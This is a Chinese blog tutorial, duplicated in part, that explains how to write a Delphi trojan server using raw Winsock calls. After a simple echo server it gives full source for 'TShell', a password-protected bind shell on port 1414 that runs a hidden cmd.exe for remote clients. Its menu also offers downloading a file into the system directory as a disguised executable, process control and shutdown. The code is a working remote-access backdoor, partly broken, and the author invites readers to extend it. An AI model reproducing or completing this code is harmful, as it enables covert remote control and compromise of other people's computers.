PrettySky原创,转载注明出处和作者是个好习惯。
记得在我刚接触Delphi编程不久的时候,对编写木马特别感兴趣,我尝试过,不过我写的服务器端木马特别大,究其原因?因为我像开发GUI程序那样搞服务器端,有窗口、摆控件,这样做出来肯定大。当时我寻找一种轻便的方法,现在我实现了--直接操作Socket API。
这一篇我打算只讲监听部分,也就是说直接操作Socket API构建木马服务器端,并支持多用户同时连接,开发语言为Delphi7.0,当然由于是直接操作API,你可以很容易的翻译到其他语言,废话不多说(好像我已经说了不少),我们了解一下将要用到的一些API。
WSAStartup 函数用于初始化Socket的DLL,原形如下:
int WSAStartup (
WORD wVersionRequested,
LPWSADATA lpWSAData
);
socket 函数用于创建一个Socket,原形如下:
SOCKET socket (
int af,
int type,
int protocol
);
bind 函数用于把本地的IP绑定到创建的Socket上,原形如下:
int bind (
SOCKET s,
const struct sockaddr FAR* name,
int namelen
);
listen 函数用于把刚刚创建并绑定的Socket置于监听等待状态,原形如下:
int listen (
SOCKET s,
int backlog
);
accept 函数用于接受远程的连接请求,原形如下:
SOCKET accept (
SOCKET s,
struct sockaddr FAR* addr,
int FAR* addrlen
);
recv 函数用来接收远程发来的数据,原形如下:
int recv (
SOCKET s,
char FAR* buf,
int len,
int flags
);
send 函数用来发送数据到远程主机,原形如下:int send (
SOCKET s,
const char FAR * buf,
int len,
int flags
);
WSACleanup 函数用于释放资源,原形如下:
int WSACleanup (void);
下面我们要说一下Socket的工作流程,必须了解一个端口从初始化到监听以及最后发送接收数据他是怎么工作的,以及如何使用线程支持多用户。
首先,我们要做好足够的初始化工作确保Socket可以正常监听(listen ),打开监听以后,我们要创建一个循环来不断的执行accept 函数接收远程的连接,每当accept 接收一个新的远程连接我们都为他创建一个单独的线程来处理,我们暂且称之为数据线程吧。
数据线程不断调用recv函数并检查返回值,正常情况下recv返回接收到的字节数,如果返回值小于1,那么证明出现了Socket错误,或许是对方已经断开连接,这时我们就要释放资源并结束这个线程。
大概就是这样,下面我把最简单的框架列出来给大家。
Delphi新建一个命令行程序(Console Application),然后把如下代码贴上去。
这个Server(服务器端)程序,会监听1414端口,每当有Client(客户端)连接都会接收并创建数据线程,并且不管客户端发送什么都会回应“You are welcome!”字符串,并且会在Client断开连接以后释放线程。
这个程序编译运行以后,你可以用Telnet 127.0.0.1 1414命令来连接试试看。
呵呵,到这里你就可以扩充这个构架让他成为一个真正的服务器程序了,比如在接收到“exit”退出连接,接受到“power off”后关机。
这里我再附上我写的一个简单的CMD SHELL,绑定cmd.exe的输出输入管道,不知道贴到BLOG上代码格式和缩进会不会变样,大家有兴趣可以完善它,希望你在修改后通知我一下并寄给我一个副本也让我学习学习,我的Mail:prettysky8(at}gmail.com (at}替换成@。
记得在我刚接触Delphi编程不久的时候,对编写木马特别感兴趣,我尝试过,不过我写的服务器端木马特别大,究其原因?因为我像开发GUI程序那样搞服务器端,有窗口、摆控件,这样做出来肯定大。当时我寻找一种轻便的方法,现在我实现了--直接操作Socket API。
这一篇我打算只讲监听部分,也就是说直接操作Socket API构建木马服务器端,并支持多用户同时连接,开发语言为Delphi7.0,当然由于是直接操作API,你可以很容易的翻译到其他语言,废话不多说(好像我已经说了不少),我们了解一下将要用到的一些API。
WSAStartup 函数用于初始化Socket的DLL,原形如下:
int WSAStartup (
WORD wVersionRequested,
LPWSADATA lpWSAData
);
socket 函数用于创建一个Socket,原形如下:
SOCKET socket (
int af,
int type,
int protocol
);
bind 函数用于把本地的IP绑定到创建的Socket上,原形如下:
int bind (
SOCKET s,
const struct sockaddr FAR* name,
int namelen
);
listen 函数用于把刚刚创建并绑定的Socket置于监听等待状态,原形如下:
int listen (
SOCKET s,
int backlog
);
accept 函数用于接受远程的连接请求,原形如下:
SOCKET accept (
SOCKET s,
struct sockaddr FAR* addr,
int FAR* addrlen
);
recv 函数用来接收远程发来的数据,原形如下:
int recv (
SOCKET s,
char FAR* buf,
int len,
int flags
);
send 函数用来发送数据到远程主机,原形如下:int send (
SOCKET s,
const char FAR * buf,
int len,
int flags
);
WSACleanup 函数用于释放资源,原形如下:
int WSACleanup (void);
下面我们要说一下Socket的工作流程,必须了解一个端口从初始化到监听以及最后发送接收数据他是怎么工作的,以及如何使用线程支持多用户。
首先,我们要做好足够的初始化工作确保Socket可以正常监听(listen ),打开监听以后,我们要创建一个循环来不断的执行accept 函数接收远程的连接,每当accept 接收一个新的远程连接我们都为他创建一个单独的线程来处理,我们暂且称之为数据线程吧。
数据线程不断调用recv函数并检查返回值,正常情况下recv返回接收到的字节数,如果返回值小于1,那么证明出现了Socket错误,或许是对方已经断开连接,这时我们就要释放资源并结束这个线程。
大概就是这样,下面我把最简单的框架列出来给大家。
Delphi新建一个命令行程序(Console Application),然后把如下代码贴上去。
- program TShell;
- {$APPTYPE CONSOLE}
- uses
- Windows,
- Winsock,
- Sysutils;
- const myport=1414;//预定义口
- var
- str:string;
- s,ns:TSocket;//type:u_int|integer;
- rece:TWSAData;//type:WSAData;
- wsstatus:integer;//winsocket_status;
- pktlen:integer;
- server:TSockAddr;//tpye:sockaddr_in
- client:PSockAddr;//type:^sockaddr_in
- namelen:PInteger;//type:^Integer;
- ThreadID:DWORD;
- procedure SocketWorkThread(ns:TSocket); stdcall; //stdcall 是必须的,否则接收不到参数
- var
- recvbuf,sendbuf:array[0..1025] of char;
- begin
- try
- While True do
- begin
- pktlen:= recv(ns,recvbuf,1024,0); //接收数据
- if pktlen<1 then //如果返回值小于1说明连接被断开或者错误
- begin
- Writeln('ID:'+IntToHex(ns,2)+' Exit.');
- exit;
- end;
- StrCopy(sendbuf,#13#10'Welcome.'#13#10);
- send(ns,sendbuf,StrLen(sendbuf),0); //发送回应
- end;
- except
- Writeln('SocketWorkThread error.');
- exit;
- end;
- end;
- begin
- try
- wsstatus:=WSAStartup($202,rece); //初始化SOcket Dll
- if wsstatus<>0 then
- begin
- writeln('API:WSAStartup error.');
- exit;
- end;
- s:=socket(AF_INET,SOCK_STREAM,0); //创建SOcket
- if s<0 then
- begin
- writeln('API:socket error.');
- exit;
- end;
- server.sin_family := AF_INET;
- server.sin_port := htons(myport); //这一句是监听端口
- server.sin_addr.s_addr := INADDR_ANY; //一些设置
- wsstatus:=bind(s,server,sizeof(server)); //设置并绑定Socket
- if wsstatus<>0 then
- begin
- writeln('API:bind error.');
- exit;
- end
- else
- writeln('Initialize Socket...');
- wsstatus:=listen(s,5); //监听
- if wsstatus<>0 then
- begin
- writeln('API:listen error.');
- exit;
- end
- else
- writeln('Listen on Port:'+IntToStr(myport)+'...');
- new(client);
- new(namelen);
- namelen^:=sizeof(client^); //为accept做好准备
- writeln('TShell Service start runing!');
- writeln(#13#10'------------------------TShell V1.0------------------------');
- While True do //接受连接的循环,放到一个线程中会更好
- begin
- ns:=accept(s,client,namelen); //接受
- if ns=-1 then //如果出现错误。。。
- writeln('ID:'+IntToHex(ns,2)+' accept error.')
- else
- begin
- Writeln('ID:'+IntToHex(ns,2)+' IP:'+IntToStr(Ord(client.sin_addr.S_un_b.s_b1))+'.'+IntToStr(Ord(client.sin_addr.S_un_b.s_b2))+'.'+IntToStr(Ord(client.sin_addr.S_un_b.s_b3))+'.'+IntToStr(Ord(client.sin_addr.S_un_b.s_b4))+' connected.');
- //以下这句就是创建一个数据线程
- //这里有一点小技巧,原则上讲createThread的第4个参数是
- //传递给线程的参数,它应该是一个指向自定义类型的指针Pointer
- //而我们的数据线程参数是TSocket,实际上TSOcket是Integer类型,
- //而且Pointer和Integer都是4字节,所以我们就冒名顶替了,这样很方便。
- createThread(nil,0,@SocketWorkThread,Pointer(ns),0,ThreadID);
- end;
- end;
- finally
- WSACleanup();//退出winsocket;
- end;
- writeln;
- writeln('Press to exit');
- readln(str);
- end.
这个Server(服务器端)程序,会监听1414端口,每当有Client(客户端)连接都会接收并创建数据线程,并且不管客户端发送什么都会回应“You are welcome!”字符串,并且会在Client断开连接以后释放线程。
这个程序编译运行以后,你可以用Telnet 127.0.0.1 1414命令来连接试试看。
呵呵,到这里你就可以扩充这个构架让他成为一个真正的服务器程序了,比如在接收到“exit”退出连接,接受到“power off”后关机。
这里我再附上我写的一个简单的CMD SHELL,绑定cmd.exe的输出输入管道,不知道贴到BLOG上代码格式和缩进会不会变样,大家有兴趣可以完善它,希望你在修改后通知我一下并寄给我一个副本也让我学习学习,我的Mail:prettysky8(at}gmail.com (at}替换成@。
- program TShell;
- {$APPTYPE CONSOLE}
- uses
- Windows,
- Winsock,
- Sysutils;
- type
- PShellThreadData = ^TShellThreadData;
- TShellThreadData = record
- ns: TSocket;
- hReadPipe: THandle;
- end;
- const myport=1414;//预定义口
- var
- str:string;
- s,ns:TSocket;//type:u_int|integer;
- rece:TWSAData;//type:WSAData;
- wsstatus:integer;//winsocket_status;
- pktlen:integer;
- server:TSockAddr;//tpye:sockaddr_in
- client:PSockAddr;//type:^sockaddr_in
- namelen:PInteger;//type:^Integer;
- ThreadID:DWORD;
- function IsWindowsNt: Boolean;
- var
- OSVersionInfo: TOSVersionInfo;
- begin //判断操作系统是否是NT
- Result := False;
- OSVersionInfo.dwOSVersionInfoSize := SizeOf(OSVersionInfo);
- GetVersionEx(OSVersionInfo);
- if OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT then
- Result := True
- end;
- procedure ShowMenu(ns:TSocket);
- var
- sendbuf:array[0..1025] of char;
- begin
- StrCopy(sendbuf,#13#10+
- #13#10'==================================='+
- #13#10'= TShell v1.0 Write by PrettySky. ='+
- #13#10'==================================='+
- #13#10#13#10+
- '[1]: Open Console Shell(For NT).'#13#10+
- '[2]: Download Form URL(HTTP/FTP).'#13#10+
- '[3]: Process Administer.'#13#10+
- '[4]: Restart Server.'#13#10+
- '[5]: Shutdown Server.'#13#10+
- '[6]: Exit Server.'#13#10+
- '[7]: Quit(Stop Service).'#13#10#13#10+
- 'Hint: "Exit" Command Can Return To This Menu.'#13#10#13#10+
- 'select: [ ]'#$08#$08);
- send(ns,sendbuf,StrLen(sendbuf),0);
- end;
- procedure Download();
- var
- SystemDir:array [0..255] of Char;
- DownloadResult:LongInt;
- URLDownloadToFile: function(Caller: Pointer; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB: Pointer): LongInt; stdcall;
- begin
- GetSystemDirectory(SystemDir,255);
- @URLDownloadToFile:=GetProcAddress(LoadLibrary(PChar(SystemDir+'/urlmon.dll')),'URLDownloadToFileA');
- if Assigned(URLDownloadToFile) then
- begin
- DownloadResult:=URLDownloadToFile(nil,PChar(sUpServer),PChar(SystemDir+'/mpapis.exe'),0,nil);
- end;
- end;
- procedure SocketWorkThread(ns:TSocket); stdcall;
- var
- //Socket
- i:Integer;
- Login:Boolean;
- select:Integer;
- LastCmd:String;
- TempCmd:String;
- recvbuf,sendbuf:array[0..1025] of char;
- SystemDir:array[0..255] of char;
- //Console
- ConsolePath:PChar;
- ShellThreadData:PShellThreadData;
- GetShell:Boolean;
- ConsoleThreadID:DWORD;
- ProcessInfo:TProcessInformation;
- hOutPutReadPipe,hOutPutWritePipe,
- hInPutReadPipe,hInPutWritePipe:THandle;
- sa:TSecurityAttributes;
- StartupInfo:TStartupInfo;
- lngBytesread:DWORD;
- procedure ConsoleShellThread(ShellThreadData:PShellThreadData); stdcall;
- var
- ret:Boolean;
- lngBytesread:DWORD;
- strBuff:array[0..255] of char;
- begin
- while True do
- begin
- FillChar(strBuff,Sizeof(strBuff),#0);
- ret:= ReadFile(ShellThreadData^.hReadPipe, strBuff, 256, lngBytesread, nil);
- if ret then
- send(ShellThreadData^.ns,strBuff[0],lngBytesread,0);
- end;
- end;
- procedure ConsoleShell;
- begin
- FillChar(sa,Sizeof(sa),#0);
- sa.nLength := Sizeof(sa);
- sa.bInheritHandle := True;
- sa.lpSecurityDescriptor := nil;
- createPipe(hOutPutReadPipe, hOutPutWritePipe, @sa, 0);
- createPipe(hInPutReadPipe, hInPutWritePipe, @sa, 0);
- New(ShellThreadData);
- ShellThreadData^.ns:=ns;
- ShellThreadData^.hReadPipe:=hOutPutReadPipe;
- createThread(nil,0,@ConsoleShellThread,ShellThreadData,0,ConsoleThreadID);
- GetStartupInfo(StartupInfo);
- StartupInfo.cb:=Sizeof(StartupInfo);
- StartupInfo.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
- StartupInfo.wShowWindow:=SW_HIDE;
- StartupInfo.hStdInput:=hInPutReadPipe;
- StartupInfo.hStdError:=hOutPutWritePipe;
- StartupInfo.hStdOutput:=hOutPutWritePipe;
- if isWindowsNT then
- ConsolePath:=PChar(SystemDir+'/cmd.exe')
- else
- ConsolePath:=PChar(SystemDir+'/command.exe');
- if createProcess(ConsolePath, nil, nil, nil, True, 0, nil, SystemDir, StartupInfo, ProcessInfo) then
- begin
- GetShell:=True;
- end;
- end;
- begin
- try
- Login:=False;
- select:=0;
- StrCopy(sendbuf,'Welcome to TShell Server.'#13#10#13#10'PassWord:');
- send(ns,sendbuf,StrLen(sendbuf),0);
- GetSystemDirectory(SystemDir,255);
- While True do
- begin
- pktlen:= recv(ns,recvbuf,1024,0);
- For i:=1 to pktlen do
- begin
- if (recvbuf[i-1]=#13) and (recvbuf[i]=#10) then
- begin
- if Login then
- begin
- if select=0 then
- begin
- Writeln('ID:'+IntToHex(ns,2)+' select:'+TempCmd);
- if TempCmd='1' then
- begin
- select:=1;
- StrCopy(sendbuf,#13#10#13#10'>You Have selected [1], Pass Enter To Start...'#13#10#13#10);
- send(ns,sendbuf,StrLen(sendbuf),0);
- end
- else if TempCmd='2' then
- begin
- select:=2;
- StrCopy(sendbuf,#13#10#13#10'>You Have selected [2], Pass Enter To Start...'#13#10#13#10);
- send(ns,sendbuf,StrLen(sendbuf),0);
- end
- else if TempCmd='3' then
- begin
- select:=3;
- StrCopy(sendbuf,#13#10#13#10'>You Have selected [3], Pass Enter To Start...'#13#10#13#10);
- send(ns,sendbuf,StrLen(sendbuf),0);
- end
- else if TempCmd='4' then
- begin
- select:=4;
- StrCopy(sendbuf,#13#10#13#10'>You Have selected [4], Pass Enter To Start...'#13#10#13#10);
- send(ns,sendbuf,StrLen(sendbuf),0);
- end
- else if TempCmd='5' then
- begin
- select:=5;
- StrCopy(sendbuf,#13#10#13#10'>You Have selected [5], Pass Enter To Start...'#13#10#13#10);
- send(ns,sendbuf,StrLen(sendbuf),0);
- end
- else if TempCmd='6' then
- begin
- select:=6;
- StrCopy(sendbuf,#13#10#13#10'>You Have selected [6], Pass Enter To Start...'#13#10#13#10);
- send(ns,sendbuf,StrLen(sendbuf),0);
- end
- else if TempCmd='7' then
- begin
- select:=7;
- StrCopy(sendbuf,#13#10#13#10'>You Have selected [7], Pass Enter To Start...'#13#10#13#10);
- send(ns,sendbuf,StrLen(sendbuf),0);
- end
- else if TempCmd='8' then
- begin
- select:=8;
- StrCopy(sendbuf,#13#10#13#10'>You Have selected [8], Pass Enter To Start...'#13#10#13#10);
- send(ns,sendbuf,StrLen(sendbuf),0);
- end
- else
- begin
- StrCopy(sendbuf,#13#10'>Error select.'#13#10);
- send(ns,sendbuf,StrLen(sendbuf),0);
- ShowMenu(ns);
- end;
- end
- else
- begin
- case select of
- 1:
- begin
- Writeln('ID:'+IntToHex(ns,2)+' Console:'+TempCmd);
- if GetShell then
- begin
- TempCmd:=TempCmd+#13#10;
- WriteFile(hInPutWritePipe, TempCmd[1], Length(TempCmd), lngBytesread, nil);
- end
- else
- ConsoleShell;
- if UpperCase(TempCmd)='EXIT'#13#10 then
- begin
- select:=0;
- GetShell:=False;
- CloseHandle(hInPutReadPipe);
- CloseHandle(hInPutWritePipe);
- CloseHandle(hOutPutReadPipe);
- CloseHandle(hOutPutWritePipe);
- TerminateProcess(ProcessInfo.hProcess,0);
- StrCopy(sendbuf,#13#10#13#10'>Exit Console Shell, Pass Enter Return Main Menu...'#13#10#13#10);
- send(ns,sendbuf,StrLen(sendbuf),0);
- end;
- end;
- 2:
- begin
- if UpperCase(TempCmd)='EXIT'#13#10 then
- begin
- select:=0;
- StrCopy(sendbuf,#13#10#13#10'>Exit Console Shell, Pass Enter Return Main Menu...'#13#10#13#10);
- send(ns,sendbuf,StrLen(sendbuf),0);
- end;
- end;
- 3: select:=3;
- 4: select:=4;
- 5: select:=5;
- 6: select:=6;
- 7: select:=7;
- end;
- end;
- end
- else
- begin
- if TempCmd='sbadmin' then
- begin
- Login:=True;
- Writeln('ID:'+IntToHex(ns,2)+' Login Succeed.');
- StrCopy(sendbuf,#13#10'>Succeed...');
- send(ns,sendbuf,StrLen(sendbuf),0);
- ShowMenu(ns);
- end
- else
- begin
- Writeln('ID:'+IntToHex(ns,2)+' Try Login:'+TempCmd);
- StrCopy(sendbuf,'>Error Password.'+
- #13#10#13#10'Login:');
- send(ns,sendbuf,StrLen(sendbuf),0);
- end;
- end;
- LastCmd:=LastCmd;
- TempCmd:='';
- end;
- if (recvbuf[i-1]=Chr(VK_BACK)) then
- begin
- if Length(TempCmd)<>0 then
- begin
- delete(TempCmd,Length(TempCmd),1);
- StrCopy(sendbuf,' '#$08);
- send(ns,sendbuf,StrLen(sendbuf),0);
- end;
- end
- else if (recvbuf[i-1]=#13) or (recvbuf[i-1]=#10) then
- begin
- end
- else
- TempCmd:=TempCmd+recvbuf[i-1];
- end;
- if pktlen<1 then
- begin
- Writeln('ID:'+IntToHex(ns,2)+' Exit.');
- CloseHandle(hInPutReadPipe);
- CloseHandle(hInPutWritePipe);
- CloseHandle(hOutPutReadPipe);
- CloseHandle(hOutPutWritePipe);
- TerminateProcess(ProcessInfo.hProcess,0);
- Writeln('ID:'+IntToHex(ns,2)+' Release Memory Succeed.');
- exit;
- end;
- end;
- except
- Writeln('SocketWorkThread error.');
- exit;
- end;
- end;
- begin
- try
- wsstatus:=WSAStartup($202,rece);
- if wsstatus<>0 then
- begin
- writeln('API:WSAStartup error.');
- exit;
- end;
- s:=socket(AF_INET,SOCK_STREAM,0);
- if s<0 then
- begin
- writeln('API:socket error.');
- exit;
- end;
- server.sin_family := AF_INET;
- server.sin_port := htons(myport);
- server.sin_addr.s_addr := INADDR_ANY;
- wsstatus:=bind(s,server,sizeof(server));
- if wsstatus<>0 then
- begin
- writeln('API:bind error.');
- exit;
- end
- else
- writeln('Initialize Socket...');
- wsstatus:=listen(s,5);
- if wsstatus<>0 then
- begin
- writeln('API:listen error.');
- exit;
- end
- else
- writeln('Listen on Port:'+IntToStr(myport)+'...');
- new(client);
- new(namelen);
- namelen^:=sizeof(client^);
- writeln('TShell Service start runing!');
- writeln(#13#10'------------------------TShell V1.0------------------------');
- While True do
- begin
- ns:=accept(s,client,namelen);
- if ns=-1 then
- writeln('ID:'+IntToHex(ns,2)+' accept error.')
- else
- begin
- Writeln('ID:'+IntToHex(ns,2)+' IP:'+IntToStr(Ord(client.sin_addr.S_un_b.s_b1))+'.'+IntToStr(Ord(client.sin_addr.S_un_b.s_b2))+'.'+IntToStr(Ord(client.sin_addr.S_un_b.s_b3))+'.'+IntToStr(Ord(client.sin_addr.S_un_b.s_b4))+' connected.');
- createThread(nil,0,@SocketWorkThread,Pointer(ns),0,ThreadID);
- end;
- end;
- finally
- WSACleanup();//退出winsocket;
- end;
- writeln;
- writeln('Press to exit');
- readln(str);
- end.